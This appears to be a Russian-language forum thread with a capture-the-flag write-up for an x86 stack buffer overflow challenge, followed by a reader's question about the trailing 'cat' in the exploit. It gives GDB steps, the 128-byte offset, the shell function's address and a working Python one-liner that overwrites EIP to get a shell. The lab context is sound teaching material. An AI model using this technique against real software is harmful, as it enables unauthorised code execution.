![]() |
ELF x86 - Stack buffer overflow basic 2
Environment configuration : PIEPosition Independent Executable RelRORead Only relocations NXNon-Executable Stack Heap execNon-Executable Heap ASLRAddress Space Layout Randomization SFSource Fortification SSPStack-Smashing Protection SRCSource code access Source code : C: Код:
/*На этот раз есть харденинг защита в стеке и в куче. Она запрещается выполнять код в этих областях памяти. Но эта защита нам ни чем не мешает. Она просто есть, для того чтобы нельзя было пихнуть свой шеллкод так сказать. Решается это дело тоже очень просто. Суть задачи вызвать функцию shell которая предоставит нам командную оболочку, а затем мы сможем получить флаг. Запускаем программу под GDB и скармливаем ей строчку сгенерированную с сайта. Код:
gdb -q ./ch15Получаем адрес смещения 0x33654132 Заходим на сайт и вычисляем смещение https://forum.antichat.xyz/attachmen...b3785e0532.png 128 байт область смещения. 128+4 вся область которая перезаписывает регистр EIP. Теперь узнаем адрес функции shell. Код:
disas shellФункция shell находится в памяти по адресу 0x08048464 Отлично теперь составим эксплойт Код:
(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)';cat) | ./ch15 |
а чем помогает cat в конце експлоита?
|
Цитата:
|
я не про тот cat
(python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)') | ./ch15 (python -c 'from struct import pack; print "A"*128 + pack("I", 0x08048464)';cat) | ./ch15 --------------------------------------------------------------------------------------+++--------- я про этот кат, не могу понять смысла его использования |
Цитата:
|
| Время: 12:06 |